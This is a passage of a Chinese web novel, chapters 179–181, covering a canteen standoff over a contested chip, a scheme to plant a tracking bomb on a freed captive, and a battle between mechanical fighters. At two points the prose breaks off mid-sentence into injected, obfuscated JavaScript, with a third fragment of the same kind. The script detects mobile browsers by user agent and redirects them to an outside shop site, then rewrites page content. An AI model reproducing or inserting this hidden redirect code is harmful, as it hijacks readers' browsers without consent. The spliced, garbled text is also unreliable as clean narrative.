“想死不用那么急,”凛烛改了主意,“就算现在打了,赢了也算我胜之不武。你……叫琀珏?有时候,对一些人‘有用’是上天给你的恩赐,够胆你就抓住这个机会靠自己一步步站起来,那远比被当成废物踩成肉泥有尊严。” 边说着,凛烛从玄烈手里拿走那间小房间的钥匙和一袋子生活用品,“我怕先走了,你们慢慢聊。” “能找到路吗?”玄烈望着凛烛远去的背影。 “没问题,我走一遍就记住了,”凛烛转回头来,“我的记忆力,世界第一。” 回到正题,纪凛烛先开了口,“我知道你不会轻易背叛韶赋修,但我们的目的也绝非韶赋修那么简单。敌人的敌人是朋友你该知道吧,破除颠转所削弱的不会是你我的利益,而是舜希的。” 在纪凛烛面前,琀珏无论如何也无法展现出他那高傲漠然的一面。抱着的手臂放下了,他坐到靠门那边墙边的一把椅子上,这样能让他强撑了许久的腿好受一些,“接着说。” “舜希在颠转初命骨环给颠转里的所有人上了思维锁,把他们变得像行尸走肉一样,这样才能维持颠转内部正常运行,但她本人其实收获不到任何人心。一旦回到现实世界,她失去了掌控人们的锁链,她就很快会被推翻。”纪凛烛真诚地说。 “所以我们想知道关于颠转机器操控的更多细节。”玄烈说。 可是玄烈这么一插嘴,搞得原本已经陷入认真思考的琀珏忽地跳脱出来,一双眼睛瞬间敌视着玄烈,一脸和他势如水火的表情。 没办法,纪凛烛无奈地再向玄烈给去一个眼神让他别再说了,生怕琀珏生一肚子闷气、存一肚子坏水,不告诉他们实话。 “所以,我们需要关于颠转机器操控的更多细节,”纪凛烛和缓地重复了一遍,“具体的事不需要你出面,我们会放你走,你回去可以好好养伤。” 她的话语太温柔了,温柔到琀珏一时忘却了他们已经变成了不折不扣的敌人。他对上那双温柔坚定的漂亮眼眸,恨不得将时空倒转回几年前。 长久之后,琀珏终于肯提供一条十分关键的信息。 “一台机器没办法制造旋角,需要两台机器同时协作。而且旋角不会一直存在,只要两台机器同时存在相互牵制,旋角就最多存在三十秒,随即会恢复原样,此后的七十二小时无法再对颠转机器进行操作。这样设置的目的是尽大可能保证颠转的稳定。” 深夜,玄烈发去消息问候,凛烛表示他那已经收拾妥当,三人便又约着去吃夜宵。 但他们一进食堂就惊了,这里满满当当的满是就餐的人,哪里像是休息时间的样子。也难怪,最近舜氏上上下下忙得水泄不通,除了黑寂军的事,还有些小道消息表示舜希可能有了新动作,不知在忙着研究什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“卤肉饭。”玄烈说。 “卤肉饭?”凛烛疑惑,“也是柴油卤肉吗?” 玄烈愣了一下,不知该如何解释,“应该是酱油吧……” “您要什么?”小机器人问凛烛。不远处又来了一桌子人在招手,小机器人略显着急。 “白面条吧,”凛烛看着菜单犹犹豫豫磨磨蹭蹭的说,“纯白面条,不要机油,也不要柴油。” 没听懂凛烛的意思,点餐完毕后小机器人赶忙跑去另一桌,嘴里还一知半解地念叨着:“机油、柴油……” 很快饭菜便被端上来了,然而凛烛碗里的白面条还没夹两口,他又变了脸色。他眉毛微皱,鼻子有一搭没一搭地拱着,眼睛疑惑地搜寻着什么。 看着凛烛的样子,一勺卤肉饭被舀起来,玄烈却迟迟下不了口,“怎么了?” “奇怪的味道……”凛烛狐疑地说。 “是这个吧?”纪凛烛将玄烈手里的勺子与勺内一团金黄的米粒肉块推到凛烛面前。 “对,什么味?不是机油……”凛烛像观察炸弹一样观察着这团米饭。 但玄烈不再给他机会,而是直接将那饭塞进了凛烛嘴里,“是香味。” 嚼着那饭,凛烛直接又变了脸色,像表演变脸一样隔一会儿一个大表情,惊恐喜悦兴奋激动惊诧全都凝结在伏策的脸上,模样有些诡异的滑稽。 “你以前没和舜真他们吃过饭吗?怎么会没闻到过这种味道?”纪凛烛问。 “我……忘了。”凛烛挠挠头。 纪凛烛却笑了出来,“这下终于可以确定那你智识芯片上磨损的区域是哪一块了,应该是折损了你对味觉和嗅觉的记忆。” 很有道理,凛烛说什么都不肯吃他那白面条了,趁玄烈还一口没吃,他半谄媚半乞讨地将那碗饭占为己有,一大口一大口的塞,塞到一句清楚话都说不出来。 “再、再点一碗就行了啊……”玄烈弱弱地说。 笑到一半,纪凛烛手一抖,勺子磕在碗边上,登时有几滴粥溅了出去。她忙伸手去取桌下抽屉里的纸,余光却瞟见一个熟悉身影独自端着碗筷坐到空桌上。 见纪凛烛不动了,玄烈也跟着看去,果然也是一张久未相见的脸庞。只是他为什么会出现在这里? “灼琛?”玄烈嘟囔道。 179. 弱点(2) “据说舜希后来还是把他要来了。”纪凛烛说道。 “可是我在机械体名单里没有看到他。”玄烈说着,新的卤肉饭被端到了他面前。 “他没进机械体队伍,”纪凛烛轻抿了一口烫粥,“他被放到后勤部了,和那些归入舜氏的潼氏机械体不一样,他属于编外人员。” “你们说的那个人……是不是叫炬灼?”凛烛痛快地干了整碗卤肉饭,顺势又动起玄烈那碗的歪心思。 “你认得?”玄烈手里的勺子还没送到嘴边就又放下,他被成功转移了注意力。 “见过两面,潼氏的吧,”凛烛说着,眼光却在瞄那只碗,“参加过军备竞赛,我们打过架。” “他也提到过你们见过面,但他不是炬灼,”玄烈道,“炬灼的存在原本就是为了对付你,后来永璃岛灾难,你消失,炬灼也就失去了作用,于是被改装成两只机械体。他是其中一个,名叫灼琛。” “另一个呢?”凛烛问。 “不在了。”玄烈答。 “你说你们打过架?谁赢了?”纪凛烛好奇地问。 “那还用说吗?”凛烛说着,趁机舀了一勺玄烈的饭又飞速塞进嘴里。 “你……”玄烈欲言又止,“不够你就直说啊……” 这边正闹腾着,一个白色人影的出现挡住了他们望向灼琛的视线。 程炼也满脸疲惫,同样像是刚从岗位上爬下来的。他双眼布满血丝,从来梳得一丝不苟的头发现在有些失了样子,一两缕碎发垂在额角。 “介意我拼个桌吗?”他道。 除了凛烛对他颇有提防且他完全被香喷喷热腾腾的饭吸引着之外,玄烈和纪凛烛都没说话。玄烈发觉纪凛烛表情有点不对劲,有些惊愕,又有些遮掩,随后,她点点头,“随便。” 程炼只拿着一干干净净的空盘子,不知是还没吃还是已经吃完了,总之他坐下后只得一动不动看着他们三个人吃。 “你怎么会在这里?”程炼问凛烛。 凛烛一怔,没有回复。 “你不是伏策?”程炼逼问道。 “我是。”凛烛掩饰道。 程炼的表情代表他不相信,但他没有追究,反而压低声音,将空盘子往三人面前一推,“我来是为了芯片的事情。芯片还没有被研发完全,你们拿着也不能用,但你们可以把它给我,我可以接着研发下去,直到芯片正式可以被使用的那天。” 玄烈没有说话,纪凛烛则将盘子推了回去,“这件事不着急,程总,我们大可以等到真正和平的那天再细致周密地计划,芯片目前在我们手里很安全,不劳您担心。” 听了这么一番话,程炼的脸即刻冷了下来,那道深如沟壑的伤疤蒙上一层阴谋的色彩,“我想你们把事情想得太简单了,以为只凭你们几个人和第一第二战备的名号就能够扳倒舜希和韶赋修两座大山,痴心妄想。” “程总,有时候简单问题太复杂化了也不是什么好事,两座大山固然难攻,但我们只要守好我们自己的驻地,避免山外有别的野兽侵袭,胜利是指日可待的。而且您说的也对,脚踏实地才是稳健迈向成功的做法,痴心妄想,不可行。” 听着纪凛烛这一串的妙语连珠字字戳在他程炼的脑门上,他整个人简直要被闷成表面风霜凝冰而底部翻涌沸腾的死火山。四目相对,纪凛烛不紧不慢地用勺子搅动粥面快速降温,程炼则眼睛带刀恨不能将这些不听话的小孩全都千刀万剐。 “我只能提醒到这里,要是你们有朝一日反悔了,千万别来找我。”程炼嘴边渗出一丝冷笑后头也不回地离开了,甚至没打算听他们回复什么。 将玄烈那碗饭也吃干抹净了,凛烛擦了擦嘴,“这个伏策,以前不知道他胃口那么大,怎么吃了这么多还没饱……刚才那个是舜希的人?” “不算,”纪凛烛解释道,“他很痛恨潼氏,表面上为舜希服务,背地里是第二战备团队负责人,但他归根到底谁都不信任,属于独狼。” “怪不得……”凛烛喃喃道,“对了玄烈,你还吃吗?” 对着面前两只空空的碗,玄烈实在不好说什么,“你要是还饿就再点一碗。” “嗯……”凛烛沉思了一会儿,“我本来还说我就不吃了,既然你这么说,那我就再吃一碗。” 第三次送走小机器人,凛烛那消失的大脑好像重回到了身上,他望着程炼离开的方向欲言又止,但迟迟说不出什么。 “这个人……有点熟悉,但我想不起来是哪……好像是,声音?”凛烛自言自语地说着。 “他的确二十年前就在舜氏了,只是不长现在的样子,地震让他丧失了记忆,名字也是后来取的。”玄烈说。 “他自己起的?为什么叫程炼?”凛烛接着问。 “不知道。”玄烈只能如实说。 “不对劲,”凛烛眯起眼睛,“他绝不会是一个普通的工作人员,至少也是核心团队的成员,否则我不可能觉得他这么熟悉。” “你不是记忆里世界第一吗?怎么只熟悉但记不清楚?”纪凛烛笑道。 凛烛挠挠头,“时代发展太快了,要是再举行记忆力比赛,我可能已经跌出前三了。” 说笑间,第三碗饭被直接放到凛烛面前,整得他心生了好些愧意。食堂里来来去去人逐渐变少了,但这个“少”是相对的,到这个点,食堂仍保持着三分之二的座满,实在是难得一见的场面。 嘈杂声不绝于耳,人们在暂时卸下重担后一个个犹如醉后的孤魂野鬼,表面聊得欢,心里充斥的却都是孤独感,这边话讲到一半,那边累得魂就飞走了。 突然,广播里传出不详的电流声,其音量也被扩大了好几倍,顿时吵得人们怨声载道,一些本就不爽的人更是破口大骂,给这个匆忙疲惫的夜晚画上了浓墨重彩的惊叹号。 很快,代表着接触不良的电流声停止了,替代的是那久未响起过的机械官方音。 “哔、哔——三枚碎片集合完毕,战利品实验室解锁成功,碎片寻找比赛正式结束。此比赛最终获胜者——舜氏集团二代战备体纪凛烛。战利品芯片已成功发放,感谢所有比赛参与者……” 有那么一刹那,玄烈感觉世界在一片可怕的沉寂中毁灭了,这几句广播声直接将他带回了那个灾难性的白天,在那个他很长一段时间回忆起来还会浑身绞痛的游乐场。 先是一个人的视线移到他们身上,随之整个食堂的人们全都看向他们,那炽烈的眼神几乎要将他们烧穿。 那个韶赋修所使用的卑劣计谋,程炼再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473064|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次照本宣科使用在他们身上。玄烈已经可以想到程炼站在广播室内猖狂地笑的样子,那张被疤痕分割、又被上明下暗的灯光所分割的脸,那双发誓要弄死他们的眼神。 但纪凛烛只是不动。 粥凉了,凉到恰好可以入口且不冰胃的状态。她没有抬眼看周围人的表情,只是一口一口喝着粥。 “给我吧。”玄烈说。 “什么?”纪凛烛没懂。 “芯片。” “没事的,在我这很安全。” 忽然间,有一个人动了。食堂里终于出现了除纪凛烛手里的勺子撞碗之外的声音,那个人端着自己的碗踏着有力的步子朝他们走来。 是灼琛。 听到广播看到众人的反应后他才注意到了几人的存在。他自然而然坐到了空座位上,然后在开口问候前和身旁的凛烛对了视,结果是大吃一惊。 凛烛面无表情,“你们每个人见我都是一副样子。” 但让他失望的是,灼琛非但没有问出那句大家都问烂的“你还活着”,反而非常严肃地注视着他,然后飘来一句:“你不是伏策吧?” 凛烛立刻看向玄烈,表示不是他无意暴露,而是这人眼太尖了! 灼琛接着补了一句:“你很像我记忆里的一个人。” “是吗?”凛烛无法回馈灼琛那认真到要将他一切洞悉得一干二净的眼神,何况对面是潼氏的人,“但我的记忆里好像没有你。” 见气氛不对,玄烈主动发问:“灼琛,你怎么会来这里?” 灼琛没叹气,但垂下的眼睛说明了他的落寞,“她彻底把薄风铃放弃了。我……前段时间受了很多伤,在涂云没办法修养,是她给了我一条活路。” 但他又眼睛一亮,连忙转向纪凛烛,“凛烛,我听说了你还活着的消息,很震惊。你居然还活着,你居然还是第二战备!可是那场爆炸怎么说呢?我们分明看见你……抱歉,我没别的意思,只是我想问,你其实……不是碰巧活下来对吧,而是……” 他的这句“而是”拖得很长,拖得让人心焦,有点钝刀子磨肉的感觉。 “而是复活!对吧?复活!”灼琛声音不大,他似乎有意压低了声音,音调却很高,好像他真的兴奋到一种境界了,然全没发现他说的话有多荒唐。 “还有你,”灼琛转向凛烛,“你也是复活的,对吗?一定是……” 灼琛神神叨叨的,脸上写着坚定了就不可能再被动摇的决心,搞得玄烈都不知道怎么插进话去,“灼琛,其实,我们不是……” “你们知道复活的办法,你们能帮我吗?”灼琛突然投来可怜巴巴的眼神,“你们能不能帮我复活炬衍?” “灼琛,我们不懂怎么复活。”玄烈无奈地说。 “我知道你们还有顾虑,他身体上的损坏可以修补,只要能把他记忆找回来把芯片修好就可以了,我可以保证我们不会再掀起任何浪的,我发誓!” 摁下灼琛高举起的做发誓手势的手,很多话玄烈很难说出口,“我们真的不会,灼琛,他们不是复活的,他们在你面前只能证明他们一直活着!不是我们不想帮你,而是……” “玄烈。”灼琛打断了玄烈的话。 “你还是拿我当敌人。” 180. 弱点(3) 往事如短时强降雨瞬间浩瀚地铺撒在玄烈眼前,一阵难以言说的别扭氛围在食堂弥漫。灼琛不是来救他们于众人目光的漩涡,而是进一步将他推进了深渊。 玄烈没有回复他,灼琛则像个被排斥在外的异类一样自嘲地笑了两声,“我明白了。” 他的样子着实可怜,纪凛烛想找补点什么来避免误会的加深,“灼琛,事情真的不像……” “没关系,”灼琛不打算再听那些他完全不信的解释的话,“我知道因为过去的一些事你们很难对我再产生信任,你们有你们的考量,就这样吧。” 说罢,他端着碗默默地退了场,背影是落寞的味道。 “他怎么听不进话去呢?”凛烛不解地吞了一大口饭。 次日,一个小小会议室内,纪凛烛电话联系到绯篱,几人商量着探讨一下颠转机器的事情。先前玄烈作为一个小小的二队队长,还能以任务为由进到颠转机器安放的房间帮忙,现在他们被列为重点关注对象,再进房间的话,恐怕要牵连到绯篱身上。 “最近只有你一个人在调试机器吗?舜希没有给你派帮手吗?”纪凛烛问道。 “有帮手,还是二队的小朋友们来帮我。”绯篱答道。 “明白了,”玄烈又点开腕表,下达指令,“崎朗,给我二队队员日常工作分配表。” 很快,腕表“叮咚”一声,一张密密麻麻的表格发了过来,玄烈找到那几只被派去帮助绯篱的机械体的名字,让崎朗将他们带了过来。 崎朗一见玄烈就跟见了神仙一样,本就圆溜溜的眼睛简直要瞪成榴莲形状,“队长!听说第二战备现世了!她长什么样啊!我觉得肯定没你帅!” “小朋友,”纪凛烛则冲他们挥了挥手,手指指向自己额头,“我。” “你?”崎朗单纯地移去目光,“你哪位?” 崎朗的无脑发言把他身后的几个小孩都惊到了,他们都听出来的话崎朗硬是没听出来。其中一个小男孩扯扯崎朗的衣角,小声说道:“队长,她就是第二战备……” “啊!”崎朗忽地惊起,连忙屁颠颠地小跑到纪凛烛面前非要跟人家握手,“您好您好您好您好!听说您所向披靡无懈可击一招鲤鱼跃龙门一举制胜打败了我们队长拿到了芯片?真是太厉害太……” 手还没握上,玄烈就先前一步拍走了崎朗的手,“别拍马屁。” 加上崎朗,他们叫来的恰好是三只机械体。玄烈来来去去认真观察了他们的装扮,随后将一个远程监测城内监控飞鸟运动轨迹的美差交给三人。 “这个就是你们三个人今天的工作,不用跑动,在这会议室里坐着就行了,务必一刻不停地看着,有事给我发消息。” 玄烈吩咐完就离开了,留下三个一脸懵的孩子坐在电脑前对着屏幕里的电子飞鸟发呆。 幸好是二队。二队队员的服装还是很好搞的,脸的话,戴口罩也是可以应付的,他们走前还向崎朗要了他的通行牌,这下万事具备了。 一路上没遇到几个人,装备粗略的三个人就这么一头扎到了颠转机器房间里去,进门的时候还把绯篱吓了一跳,以为是土匪扮作好人要来抢劫。 为了维持颠转的稳定,颠转机器一刻不停地工作着,但从上次玄烈来到这里一直到现在,颠转机器受干扰的问题久久没能被很好地解决。绯篱也没日没夜坐在这里尝试了各种方法,舜希给的压力如一座山,也像一把悬在头顶说不准什么时候就轰然下落的菜刀。 绯篱有些焦头烂额,“我之前总觉得这机器被人动过,前一天调好的参数第二天来了就变了,但我查不出来。” “除了你,应该没有人有不经批准就进这个房间的权力。”玄烈道。因为他发现崎朗前往这里的通行牌上盖的都是昨天新鲜出炉的章。 “难道是舜希又派了别人?”纪凛烛疑惑道,“回头问杨叔查查监控。” 按照琀珏提供的信息,绯篱开始尝试制造颠转旋角。这是个堪比给蚂蚁缝合伤口的精细活,长针横在信号波口外,金黄色的波在空气里翻出一圈圈的浪,而绯篱需要让这波变得平缓,乃至静止。 可那波在每次即将要平静的时候总会莫名自己又泛起波浪,极不听话,好像在和他们对着干。 来来往往尝试了不下十回,绯篱把针放回了工具箱,“不行,另一台机器在干扰。” “有人控制那边?”凛烛问道。 “不一定,”绯篱摇头,“除非那边也和这里同时调整,旋角才有可行性。只要那边处于正常状态,旋角就不可能存在,除非……” “除非什么?”玄烈问。 “除非让那台机器暂时失灵,我趁此机会调整这台机器,可能可行。”绯篱道。 “像咱们现在一样,乔装混过去,然后借机破坏机器?”凛烛提议道。 “现在可以监测到那台机器在哪吗?”玄烈问。 “差不多,但只有大致方位,无法具体定位,”绯篱取出一张她记录的小纸条,“探测发现,那台机器在涂云驻地内。” 玄烈当即两眼一黑,果然是个令他们最难以施展拳脚的地方,何况他们根本无从得知那机器的具体位置。 “那怎么办……”凛烛犯了难。 “实在不行……炸掉,”纪凛烛沉思道,“虽然第一炸就能破坏机器的可能性很小,但我们至少可以根据爆炸后波形信号反馈来缩小机器可能存在的范围。” “这个可以。”绯篱点头道。 “怎么炸?要投□□吗?”凛烛问,“应该会被拦截的吧。” “倒是有一个办法……”玄烈说。 离开房间时,绯篱表示她会接着追查暗中操纵颠转机器的人,叫他们放心去攻击那边。玄烈一直卖着关子,纪凛烛和凛烛全然不知他怎么想的,就一路跟他回到了关押琀珏的房间门前。 他靠在墙边对着腕表发出指令:“崎朗,系统内显示的可使用的追踪型翼型炸弹还有多少?” “拥有可支配权限的翼弹有五百只,队长。” “好,你现在去取一片微型追踪锚到大楼西门等待指令。” “收到,队长。” 通话结束后,玄烈又主动撤开了从这条走廊沿路直通向大楼西侧门的大部分巡逻,随即远程解锁了琀珏所在的房间门。 三人窝在墙边,等待房间那边的动静,纪凛烛终于明白了玄烈要做什么。 “你要用琀珏当作隐匿炸弹信号的掩体,然后当他回到涂云时把他们炸掉?”纪凛烛试探性地问。 “不需要立刻炸掉,追踪锚在三个小时后会自动瓦解失效,我们只需要让他把翼弹带到涂云驻地就可以,具体什么时候炸,可以再调整。”玄烈轻声说。 “不会被他发现吗?”凛烛问。 此时,门那边传来悉悉窣窣的声音,估计是琀珏发现了门没锁,预备再次出逃了。 “他芯片受损得太厉害,觉察能力还不如一只黑寂军。”玄烈如是说。 望着琀珏远去的背影,玄烈最后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479799|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给崎朗吩咐了一句:“预计三分钟后会有一个身穿黑色战斗服但浑身是破口的机械体跑出去,你见过的,把锚放在他身上,护送他出舜氏。” “收到,队长。” 过了一段时间,崎朗气喘吁吁地从楼下跑了上来,还给玄烈敬了个礼,“报告队长,任务圆满完成!” “他怎么出舜氏的?”玄烈问。 “他要翻墙,但是翻半天都翻不过去!我想着帮他一下,结果我在下面一碰他,他立马就跟触电了一样麻溜地翻过去了!”崎朗惊叹道。 拖着那么条腿也是难为他了。玄烈拍拍崎朗的肩膀,“干得不错,年终奖多发你一份。翼弹的操控权限转给我吧,武器库那边我来应付,你回去吧。” 听到如此大好事降临在自己身上,崎朗喜笑颜开到快要昏了头。原来这就是被重用的感觉!他那清澈呆滞的目光透露出对面前几位豪横的大佬的崇拜,在他心目中,玄烈的高度再次升了好几级。 目送崎朗乐颠颠地一路远去,凛烛发出谨慎的疑问:“是不是应该叮嘱一句别把今天发生的事说出去?” “他已经忘了,”玄烈胸有成竹道,“崎朗!” “在!”崎朗迅速转身。 “你今天去哪了!”玄烈问。 “哪也没去,队长!”崎朗一脸坚定地回答。 “你今天见过我吗!”玄烈再问。 “没有,队长!” “行了走吧。”玄烈挥手。 “好嘞——”崎朗直接跑得没了人影。 玄烈拜托凛烛前往武器库,告诉那里的人翼弹是作为训练用具被借走的,他们七天后会归还。“可是七天后咱们还不上啊?”凛烛说。 “说不定七天后情形又会发生更大的变化,先这么说吧。”玄烈道。 玄烈和纪凛烛回到会议室,另外两个机械体也撤离了。腕表响了两声,是崎朗转来的权限。 电脑屏幕中,墨绿色与深灰色勾勒成的颠转地图上,一个白色的鸟状标志在琀珏所代表的红色墨点下一路飞向涂云。 翼弹本就存在感不强,设计初期原本是当隐形无人机设计的,后续为了拓展其爆炸威力,在隐匿性上做了让步。现在涂云大概从几百里开外早早地发现了琀珏,玄烈只担心韶赋修不要心狠手辣到直接把琀珏击毙在半路上,那样翼弹也会暴露。 这层担心在红点进入涂云后消散了,那只翼弹也停在涂云大厦楼顶上,收敛起危胁,像一只真正沉睡的鸟一样化作石雕静默站立,等待着舜氏发出的信号。 前期埋伏工作已经完成,还算顺利。凛烛发来消息说武器库那边已经应付好了。 又至落日时分,杏黄色的暖光在天边微微亮起,这个时候往往是那虚假的天幕最露怯的时候,颜色的转变在那条若有若无的黑线上变得极其明显,模拟天空的表演实在拙劣。 玄烈忽地想到那条他有所亏欠的消息。现在伏策的通讯器是凛烛拿着的,玄烈翻开聊天记录还能看到那天,于是他也给凛烛发去消息,问他晚上要不要一起吃饭。 他和纪凛烛走出楼梯口,来到a区一片还算宽阔空旷的区域,这里离食堂近一些。他们正商量着晚上吃什么以及是不是要给凛直接上四碗饭的时候,一团闪电龙卷风忽地从一旁杂物堆中冲了出来,径直向玄烈冲撞而去! 纪凛烛眼疾手快刚要伸出机械体要挡住那龙卷风,却被一席火花带闪电蛰麻了手腕。再一抬眼,玄烈已经和那龙卷风一同扑进了巨型空纸箱堆中。 181. 弱点(4) 他们很快从被压扁的凌乱纸箱里站起身来,玄烈也当即认出这人是仪琅。仪琅不知为何竟愤怒成这个样子,他双手间的电针从一开始打斗便完成了进化式的蓄能,都不需要试探性地你来我往过两招,就卯足力气要取玄烈的命。 玄烈能忍库星锥也不能忍,库星锥上幽然的青光刚擦到仪琅手里的电针便擦出无情火焰,火蛇在打斗的二人中起舞。但随后,一阵混合着冰粒的风二话不说就朝二人扑去,火霎时就灭了,二人也被那阵风拍得差点又倒进纸箱堆里。 机械臂手腕处的手环瞬间又从苍蓝刻度处移回了原位,纪凛烛拧了拧手环确认卡紧了,这才上前去将玄烈拉了起来。 “这都是空纸箱,引发火灾就完了……还有你,”纪凛烛转向仪琅,“什么时候外面的人也能在舜氏里这么嚣张了,你就不怕被围剿吗?” 看着眼前人,仪琅一懵,“你是谁……哦,你就是那个死了又复活的第二战备?” “你就是仪琅?”这套话纪凛烛听了耳朵都起了茧子,“我一直活着,而且,死了又复活的是你吧?” “听说芯片在你手里啊?”仪琅大步跨过堆在他脚下的烂纸箱,重新站回空地,“那我倒要试试第二战备的实力,顺道把芯片带回去,让他们瞧瞧到底谁才是涂云第一机械体!” 说着,仪琅“噌”的一声一招蛮牛冲撞径直向纪凛烛撞去,那对电针高高扬起如箭矢一般顶端闪耀着锐利的光。 但纪凛烛登时甩出的金属刺直接将电针打得失去了方向,几道电流漫天遍地地刺来刺去,就是无法近纪凛烛的身,连库星锥幻影们帮忙的余地都没有。 仪琅力量不大却很灵活,而第二战备的力量可就是实打实的了。几番交战下来纪凛烛没挨着什么有效攻击,仪琅肚子倒是被捣了一拳。 然而一句“不自量力”还未放出去,一缕金色的激光便快如闪电地蹭过纪凛烛的肩膀将地面烧出来了个洞。她其实发现了,只是没躲过。带着灼烧痕迹的血肉在被烧出了个洞的衣服布料下清晰可见,血顿时染了她整一侧肩膀。 仪琅此时才歪歪斜斜地勉强站稳,这一招绝不是他释放的。玄烈赶忙站到纪凛烛身边,他也原以为纪凛烛对付个仪琅绰绰有余,想不到对面还有这么强力的帮手。 凌厉的圣光窗外投射进来,一道金灿灿的身影如一阵风从窗边一条半人宽的缝隙中穿过,随之,耀目金光褪去,那人的真实面目才缓缓展露出来。 只见那人身上套着一副白金色的外骨骼,背后架着极其夸张的一对形似蝙蝠翼的翅膀,脑袋两侧与后脑勺被尖锐的异形金属包裹着,好像是舜氏尚处在开发中的外载型智脑,外部世界的信号会经由那种金属的振动传入大脑,从而达到一个人同时载有两个大脑的效果。 他手里拿着一根白色的棍子,倒是不长,大概只比玄烈那根狼牙电棍稍长一点,和以前炬灼颈上的儡玉材质十分相像。顶端并非实的,而是有个几乎贴合着棍壁的大洞,不知是何作用。 玄烈和纪凛烛见这人都是好一阵以为自己看错了,怎么前一天见还正常甚至有点颓废的人今天就变成了这副样子。 “他身上外骨骼的材质……像是从第二战备盒子内部取的材料。”纪凛烛悄声说。 那棍子在灼琛手里转了几圈,便被吸回到翅膀上。他没急着看一眼身边的仪琅,只是目光平静地望着对面人,因为对面才是他现在的敌人。 被抢了风头的仪琅很是不爽,他怒目圆睁瞪着灼琛,实在不懂这家伙现在穿得这么招摇到底是要整哪一出。 “凡事有个先来后到吧。”仪琅捂着腹部挺起了胸膛。 “你是因为琀珏回去才这么生气?生气他非但没被韶赋修训斥反而被当成宝物一样立刻被看护起来,还让韶赋修不遗余力地用各种最先进的技术给他疗伤,是吗?”灼琛语气冷冰冰地说。 “我就是觉得不公平!”仪琅被激怒了,“鬼知道他有没有在这泄露什么机密,鬼知道他是不是已经变成了叛徒!” “要是想通过拿到芯片讨好韶赋修来稳固你自己的地位,你还是别白费力气了。” “你凭什么小看我?” “因为我,也要抢芯片,”灼琛终于肯轻蔑地瞥仪琅一眼,但只一眼,他就又转回头来了,“最近论坛中有一个匿名帖子,机械体们互相出谋划策,他们的目标全都是芯片,我是第一个要直面向你们发起进攻的,不论结果如何,我相信都会点燃起他们的决心,你们日后有的忙了。” “就因为我们没办法帮你复活炬衍?”玄烈道。 “因为你们把我当成敌人。”灼琛说。 “这才是舜希把他要回舜氏的目的,”纪凛烛低声说,“她要把赌注压在灼琛身上!” “哎,在那之前,咱俩要不要先结盟?”仪琅向灼琛发出橄榄枝。 “我不会攻击你,”灼琛脸颊微搐,“我对结盟过敏。” 战斗很快打响了,几人本着说不通就无需多言的思想混战在了一起。方才那道光束果真是灼琛那根激光棍顶端的洞发出的,不过他的大翅膀在近身搏斗里没什么作用,时而还会一翅膀扇着仪琅的后脑勺,搞得仪琅就算顶着被踩死的风险也要逼灼琛把那忽闪忽闪的翅膀收起来。 在三方全都火烧火燎的高温突袭下,纪凛烛还是决定将机械体调整回冰霜的属性。一缕缕比尖刀还要锋利的风刃把飞来的火光电混合物大切八块,四人里最先掌握主动优势的是她。 纪凛烛近战太厉害了,时而还能以一敌二,于是她帮玄烈争取的空间能够让玄烈暂时退出混战,让库星派上用场。 库星光弹配合纪凛烛手上的盾一经激发便迎来开门红——仪琅的一根电针被炸断了。见他气急败坏而露出缺口,纪凛烛扬起手里尖锐的爪子就要刀向他,但螳螂捕蝉黄雀在后,一束光再度涌向她的耳侧。 “嘭——”,一声巨响,纪凛烛余光刚瞄到灼琛的攻击,那道光就被深灰色的布料遮住了。玄烈当机立断持库星锥劈向那根棍子,霸道地锥棍相拼硬碰硬。一簇花火爆裂,库星锥刃裂,激光棍亦裂了。 一掌推开仪琅,趁玄烈牵制住灼琛的功夫,纪凛烛径直掐向灼琛的脖子。可惜他颈后也覆盖着那层坚实金属,不再是纪凛烛轻而易举就能拿捏的了。 灼琛知道纪凛烛奈何不了他,便任由纪凛烛一再施力,施力到她青筋暴起也仅仅带给灼琛一丝丝窒息感。 可他忘了玄烈,他忘了玄烈好歹也是第一战备。 青雾弥散在库星锥锥身,有种暴风雨前的宁静感,沉默蛰伏着等待至暗时刻的到来。趁着机会,玄烈迅速挑起雾尘,空气中再度燃起青蓝色的火,锥尖直指灼琛的腹部,他用力刺去。 柔软有韧性的外骨骼表皮是金属与胶形植物料的混合物,尖锐的锥刃立刻就将其划破了,虽不能深入,但那火焰沿着库星锥横切过的痕迹将那表皮熏得黢黑,库星锥已完全离开时,仍有火星在那破口附近跳跃。 灼琛连忙拧转开纪凛烛的手臂要逃脱,却因太慌乱而失了重心,被纪凛烛一个过肩摔狠狠砸在地上,激光棍一骨碌滚到仪琅脚下去。 仪琅想要捡那棍,指尖刚碰到棍面就被烫肿了,他只得给灼琛踢回去。 感到万分丢脸,灼琛咬紧牙关伸手点了下自己的腕表,后死死攥紧那棍子站了起来。很快,在附近区域巡逻的黑寂军全都应灼琛的召唤赶到了这里,整齐有序地排布在灼琛身后。 想不到舜希竟把黑寂军的指挥权也交给了灼琛,看来是真对他寄予厚望。 玄烈也不甘示弱,想着对付对面那俩尚且简单,可要是对方使出人海战术,那就麻烦了,于是他也抬起腕表向一队机械体发出集合令。 